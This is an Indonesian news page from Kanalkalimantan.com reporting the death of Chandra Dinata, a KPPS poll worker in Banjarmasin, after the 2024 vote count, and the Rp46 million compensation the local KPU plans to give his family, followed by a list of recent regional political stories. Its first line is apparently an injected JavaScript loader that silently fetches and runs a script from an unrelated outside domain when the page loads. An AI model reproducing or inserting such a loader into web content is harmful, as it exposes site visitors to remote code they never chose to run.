(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pulang Sebelum Rampungkan Penghitungan Suara, Anggota KPPS Meninggal Dunia di Rumah


KANALKALIMANTAN.COM, BANJARMASIN – Seorang petugas Kelompok Penyelanggara Pemungutan Suara (KPPS) Pemilu 2024 di Kota Banjarmasin Provinsi Kalimantan Selatan (Kalsel) dikabarkan meninggal dunia.

Chandra Dinata (49) wafat setelah sempat melaksanakan tugas sebagai anggota KPPS di TPS 26 Kelurahan Karang Mekar, Kecamatan Banjarmasin Timur, Kota Banjarmasin.

Ketua Komisi Pemilihan Umum (KPU) Kota Banjarmasin Rusnailah membenarkan, meninggal dunia seorang anggota KPPS tersebut.

Ia mengatakan, almarhum Chandra Dinata tidak meninggal dunia saat bertugas di TPS, melainkan meninggal dunia di rumahnya beberapa hari setelah hari H pencoblosan.

Baca juga: Mantan Kadistan Balangan Divonis 4 Tahun Penjara, Tuntutan JPU 1 Tahun 6 Bulan

Namun, kata Rusnailah, saat masih bertugas di TPS pada sore hari pencoblosan itu, almarhum Chandra Dinata sempat mengeluh kepada Ketua KPPS dan mengatakan tidak dapat melanjutkan tugas melakukan penghitungan suara yang masih berlangsung di TPS.

“Awalnya memang kelelahan di tanggal 14 Februari sore, beliau melapor kepada Ketua KPPS bahwa tidak bisa melanjutkan tugas di TPS,” ujar Ketua KPU.

Lanjut Rusnailah, karena yang bersangkutan meninggal masih mengemban petugas KPPS, maka pihaknya berencana memberikan santunan kepada keluarga korban.

Ketua KPU Kota Banjarmasin, Rusnailah. Foto: wanda

Pemberian santunan terdiri dua macam, yaitu biaya pemakaman dan santunan kematian yang diberikan kepada keluarga almarhum dengan nilai mencapai Rp46 juta.

Baca juga: Taman Mawar Lansia Loktabat Utara Diresmikan, Tambahan Ruang Bermain Ramah Anak di Banjarbaru

“Biaya pemakaman Rp10 juta, santunan Rp36 juta,” katanya.

Pemberian santunan kematian itu mengacu pada Keputusan KPU Nomor 59 Tahun 2023.

Namun, kata Rusnailah, sebelum santunan diberikan, terlebih dahulu pihaknya membuat laporan ke KPU RI dan menganggarkannya.

“Kita buat laporannya dulu ke KPU RI dan juga menganggarkan dana santunannya,” ujarnya. “Tentunya administrasi juga harus lengkap,” sambungnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

4 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

5 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

5 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

8 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

10 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

20 jam ago

This website uses cookies.